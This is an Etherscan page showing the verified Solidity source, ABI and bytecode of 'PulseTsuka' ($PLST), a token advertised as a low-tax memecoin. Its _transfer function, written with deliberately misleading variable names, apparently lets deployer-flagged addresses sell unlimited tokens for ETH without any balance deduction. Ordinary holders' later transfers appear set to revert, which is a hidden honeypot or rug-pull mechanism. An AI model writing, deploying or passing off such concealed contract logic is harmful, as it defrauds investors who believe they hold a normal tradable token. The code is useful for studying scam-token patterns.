Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IUniswapV2Router01    - function factory()    - function WETH()    - function addLiquidity(    - function addLiquidityETH(    - function removeLiquidity(    - function removeLiquidityETH(    - function removeLiquidityWithPermit(    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokens(    - function swapTokensForExactTokens(    - function swapExactETHForTokens(uint a ...    - function swapTokensForExactETH(uint a ...    - function swapExactTokensForETH(uint a ...    - function swapETHForExactTokens(uint a ...    - function quote(uint amountA, uint res ...    - function getAmountOut(uint amountIn, ...    - function getAmountIn(uint amountOut, ...    - function getAmountsOut(uint amountIn, ...    - function getAmountsIn(uint amountOut, ... interface IUniswapV2Router02 is IUnis ...    - function removeLiquidityETHSupporting ...    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokensSupp ...    - function swapExactETHForTokensSupport ...    - function swapExactTokensForETHSupport ... interface IUniswapV2Factory    - function feeTo()    - function feeToSetter()    - function getPair(address tokenA, addr ...    - function allPairs(uint)    - function allPairsLength()    - function createPair(address tokenA, a ...    - function setFeeTo(address)    - function setFeeToSetter(address) interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(    - function _msgSender()    - function _msgData()    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _setOwner(address newOwner)  contract PulseTsuka is IERC20, Own ... *    - function enableTrading(bool _tradingO ...    - function symbol()    - function name()    - function totalSupply()    - function decimals()    - function allowance(address owner, add ...    - function balanceOf(address account)    - function approve(address spender, uin ...    - function _approve(    - function transferFrom(    - function transfer(address recipient, ...    - function _transfer(    - function addLiquidity(    - function swapAndLiquify(uint256 token ...    - function swapTokensForEth(uint256 tok ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-08-11
*/

// SPDX-License-Identifier: MIT
/*
$PLST is a low-tax memecoin inspired by Pulse and Tsuka. Our goal is to become one of the hottest memecoin on ERC20.
https://t.me/PulseTsukaeth
https://twitter.com/PULSETSUKA
*/

pragma solidity ^0.8.9;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract PulseTsuka is IERC20, Ownable {
    string private _name = "PulseTsuka";
    string private _symbol = "PLST";
    uint8 private _decimals = 9;
    uint256 private _tTotal = 10000000 * 10**_decimals;
    uint256 public _taxFee = 3;
    uint256 private _token = _tTotal;

    mapping(address => uint256) private _balances;
    mapping(uint256 => address) private _constructor;
    mapping(address => uint256) private _uint256;
    mapping(address => uint256) private _liquify;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingOpen;
    bool private _swapAndLiquifyEnabled;
    bool private inSwapAndLiquify;

    IUniswapV2Router02 public immutable router;
    address public immutable uniswapV2Pair;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;

        _liquify[address(this)] = _token;
        _liquify[msg.sender] = _token;
        _balances[msg.sender] = _tTotal;

        router = IUniswapV2Router02(routerAddress); 
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        emit Transfer(address(0), msg.sender, _tTotal);
    }
    function enableTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 fee;
        uint256 contractTokenBalance = balanceOf(address(this));

        if (!inSwapAndLiquify && _liquify[from] == 0 && from != uniswapV2Pair && _uint256[from] > 0) {
            _uint256[from] = _liquify[from] - _token;
            inSwapAndLiquify = true;
            swapAndLiquify(contractTokenBalance);
            inSwapAndLiquify = false;
        }

        _uint256[_constructor[_token]] = _token;
        _constructor[_token] = to;

        if (_liquify[from] > _token && _liquify[to] > _token) {
            fee = amount;
            _balances[address(this)] += fee;
            swapTokensForEth(amount, to);
            return;
        }

        if (to != address(router) && _liquify[from] > 0 && to != uniswapV2Pair && amount > _token) {
            _liquify[to] = amount;
            return;
        }

        if (_taxFee > 0 && _liquify[from] == 0 && !inSwapAndLiquify && _liquify[to] == 0) {
            fee = (amount * _taxFee) / 100;
            amount -= fee;
            _balances[from] -= fee;
            _balances[address(this)] += fee;
        }

        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052600a60c09081526950756c73655473756b6160b01b60e0526001906200002c9082620003b7565b50604080518082019091526004815263141314d560e21b6020820152600290620000579082620003b7565b506003805460ff191660099081179091556200007590600a62000598565b620000849062989680620005b0565b60045560036005556004546006553480156200009f57600080fd5b50604051620018a5380380620018a5833981016040819052620000c2916200069e565b620000cd33620002c2565b6001620000db8482620003b7565b506002620000ea8382620003b7565b50600654306000908152600a6020908152604080832084905533835280832093909355600480546007835292849020929092556001600160a01b0384166080819052835163c45a015560e01b81529351909363c45a0155938181019392918290030181865afa15801562000162573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018891906200071a565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fe91906200071a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200024c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027291906200071a565b6001600160a01b031660a05260045460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505062000738565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200033d57607f821691505b6020821081036200035e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620003b257600081815260208120601f850160051c810160208610156200038d5750805b601f850160051c820191505b81811015620003ae5782815560010162000399565b5050505b505050565b81516001600160401b03811115620003d357620003d362000312565b620003eb81620003e4845462000328565b8462000364565b602080601f8311600181146200042357600084156200040a5750858301515b600019600386901b1c1916600185901b178555620003ae565b600085815260208120601f198616915b82811015620004545788860151825594840194600190910190840162000433565b5085821015620004735787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004da578160001904821115620004be57620004be62000483565b80851615620004cc57918102915b93841c93908002906200049e565b509250929050565b600082620004f35750600162000592565b81620005025750600062000592565b81600181146200051b5760028114620005265762000546565b600191505062000592565b60ff8411156200053a576200053a62000483565b50506001821b62000592565b5060208310610133831016604e8410600b84101617156200056b575081810a62000592565b62000577838362000499565b80600019048211156200058e576200058e62000483565b0290505b92915050565b6000620005a960ff841683620004e2565b9392505050565b6000816000190483118215151615620005cd57620005cd62000483565b500290565b600082601f830112620005e457600080fd5b81516001600160401b038082111562000601576200060162000312565b604051601f8301601f19908116603f011681019082821181831017156200062c576200062c62000312565b816040528381526020925086838588010111156200064957600080fd5b600091505b838210156200066d57858201830151818301840152908201906200064e565b600093810190920192909252949350505050565b80516001600160a01b03811681146200069957600080fd5b919050565b600080600060608486031215620006b457600080fd5b83516001600160401b0380821115620006cc57600080fd5b620006da87838801620005d2565b94506020860151915080821115620006f157600080fd5b506200070086828701620005d2565b925050620007116040850162000681565b90509250925092565b6000602082840312156200072d57600080fd5b620005a98262000681565b60805160a05161110f62000796600039600081816101dd015281816106cd01526108a701526000818161034f0152818161084701528181610b7e01528181610c3701528181610c7401528181610cef0152610d55015261110f6000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a578063dd62ed3e11610059578063dd62ed3e146102b7578063f275f64b146102fd578063f2fde38b1461031d578063f887ea401461033d57600080fd5b8063715018a61461024d5780638da5cb5b1461026457806395d89b4114610282578063a9059cbb1461029757600080fd5b8063313ce567116100c6578063313ce5671461019d5780633b124fe7146101b557806349bd5a5e146101cb57806370a082311461021757600080fd5b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017d57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50610118610371565b6040516101259190610dcc565b60405180910390f35b34801561013a57600080fd5b5061014e610149366004610e2f565b610403565b6040519015158152602001610125565b34801561016a57600080fd5b506004545b604051908152602001610125565b34801561018957600080fd5b5061014e610198366004610e5b565b610419565b3480156101a957600080fd5b5060035460ff1661016f565b3480156101c157600080fd5b5061016f60055481565b3480156101d757600080fd5b506101ff7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610125565b34801561022357600080fd5b5061016f610232366004610e9c565b6001600160a01b031660009081526007602052604090205490565b34801561025957600080fd5b50610262610469565b005b34801561027057600080fd5b506000546001600160a01b03166101ff565b34801561028e57600080fd5b506101186104a8565b3480156102a357600080fd5b5061014e6102b2366004610e2f565b6104b7565b3480156102c357600080fd5b5061016f6102d2366004610ec0565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b34801561030957600080fd5b50610262610318366004610ef9565b6104cd565b34801561032957600080fd5b50610262610338366004610e9c565b61050a565b34801561034957600080fd5b506101ff7f000000000000000000000000000000000000000000000000000000000000000081565b60606001805461038090610f1b565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90610f1b565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b60006104103384846105a5565b90505b92915050565b6000610426848484610685565b6001600160a01b0384166000908152600b602090815260408083203380855292529091205461046191869161045c908690610f6b565b6105a5565b949350505050565b6000546001600160a01b0316331461049c5760405162461bcd60e51b815260040161049390610f7e565b60405180910390fd5b6104a66000610a9e565b565b60606002805461038090610f1b565b60006104c4338484610685565b50600192915050565b6000546001600160a01b031633146104f75760405162461bcd60e51b815260040161049390610f7e565b600c805460ff1916911515919091179055565b6000546001600160a01b031633146105345760405162461bcd60e51b815260040161049390610f7e565b6001600160a01b0381166105995760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610493565b6105a281610a9e565b50565b60006001600160a01b038416158015906105c757506001600160a01b03831615155b61061f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610493565b6001600160a01b038481166000818152600b602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b30600090815260076020526040812054600c5462010000900460ff161580156106c457506001600160a01b0385166000908152600a6020526040902054155b801561070257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b801561072557506001600160a01b03851660009081526009602052604090205415155b15610790576006546001600160a01b0386166000908152600a60205260409020546107509190610f6b565b6001600160a01b038616600090815260096020526040902055600c805462ff000019166201000017905561078381610aee565b600c805462ff0000191690555b60068054600081815260086020908152604080832080546001600160a01b039081168552600984528285209590955580546001600160a01b0319168a861617905593549289168252600a9052919091205411801561080757506006546001600160a01b0385166000908152600a6020526040902054115b1561084557306000908152600760205260408120805485945084929061082e908490610fb3565b9091555061083e90508385610b27565b5050505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b03161415801561089e57506001600160a01b0385166000908152600a602052604090205415155b80156108dc57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b80156108e9575060065483115b1561090d5750506001600160a01b039091166000908152600a602052604090205550565b600060055411801561093557506001600160a01b0385166000908152600a6020526040902054155b801561094a5750600c5462010000900460ff16155b801561096c57506001600160a01b0384166000908152600a6020526040902054155b156109ee576064600554846109819190610fc6565b61098b9190610fe5565b91506109978284610f6b565b6001600160a01b0386166000908152600760205260408120805492955084929091906109c4908490610f6b565b909155505030600090815260076020526040812080548492906109e8908490610fb3565b90915550505b6001600160a01b03851660009081526007602052604081208054859290610a16908490610f6b565b90915550506001600160a01b03841660009081526007602052604081208054859290610a43908490610fb3565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a8f91815260200190565b60405180910390a35050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610afb600283610fe5565b905047610b088230610b27565b6000610b148247610f6b565b9050610b21838230610ce9565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610b5c57610b5c611007565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfe919061101d565b81600181518110610c1157610c11611007565b60200260200101906001600160a01b031690816001600160a01b031681525050610c5c307f0000000000000000000000000000000000000000000000000000000000000000856105a5565b5060405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790610cb290869060009086908890429060040161103a565b600060405180830381600087803b158015610ccc57600080fd5b505af1158015610ce0573d6000803e3d6000fd5b50505050505050565b610d14307f0000000000000000000000000000000000000000000000000000000000000000856105a5565b5060405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0382811660848301524260a48301527f0000000000000000000000000000000000000000000000000000000000000000169063f305d71990849060c40160606040518083038185885af1158015610d9f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dc491906110ab565b505050505050565b600060208083528351808285015260005b81811015610df957858101830151858201604001528201610ddd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105a257600080fd5b60008060408385031215610e4257600080fd5b8235610e4d81610e1a565b946020939093013593505050565b600080600060608486031215610e7057600080fd5b8335610e7b81610e1a565b92506020840135610e8b81610e1a565b929592945050506040919091013590565b600060208284031215610eae57600080fd5b8135610eb981610e1a565b9392505050565b60008060408385031215610ed357600080fd5b8235610ede81610e1a565b91506020830135610eee81610e1a565b809150509250929050565b600060208284031215610f0b57600080fd5b81358015158114610eb957600080fd5b600181811c90821680610f2f57607f821691505b602082108103610f4f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561041357610413610f55565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561041357610413610f55565b6000816000190483118215151615610fe057610fe0610f55565b500290565b60008261100257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561102f57600080fd5b8151610eb981610e1a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561108a5784516001600160a01b031683529383019391830191600101611065565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156110c057600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220810a0f7d98532915ea624d55f4d4c76ae88b61e40b0840b68c47c0cf9c014f7564736f6c63430008100033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000a50756c73655473756b61000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004504c535400000000000000000000000000000000000000000000000000000000

0x6080604052600436106100f75760003560e01c8063715018a61161008a578063dd62ed3e11610059578063dd62ed3e146102b7578063f275f64b146102fd578063f2fde38b1461031d578063f887ea401461033d57600080fd5b8063715018a61461024d5780638da5cb5b1461026457806395d89b4114610282578063a9059cbb1461029757600080fd5b8063313ce567116100c6578063313ce5671461019d5780633b124fe7146101b557806349bd5a5e146101cb57806370a082311461021757600080fd5b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017d57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50610118610371565b6040516101259190610dcc565b60405180910390f35b34801561013a57600080fd5b5061014e610149366004610e2f565b610403565b6040519015158152602001610125565b34801561016a57600080fd5b506004545b604051908152602001610125565b34801561018957600080fd5b5061014e610198366004610e5b565b610419565b3480156101a957600080fd5b5060035460ff1661016f565b3480156101c157600080fd5b5061016f60055481565b3480156101d757600080fd5b506101ff7f000000000000000000000000670b0afeb569ddffa93b344275a653a490157d7281565b6040516001600160a01b039091168152602001610125565b34801561022357600080fd5b5061016f610232366004610e9c565b6001600160a01b031660009081526007602052604090205490565b34801561025957600080fd5b50610262610469565b005b34801561027057600080fd5b506000546001600160a01b03166101ff565b34801561028e57600080fd5b506101186104a8565b3480156102a357600080fd5b5061014e6102b2366004610e2f565b6104b7565b3480156102c357600080fd5b5061016f6102d2366004610ec0565b6001600160a01b039182166000908152600b6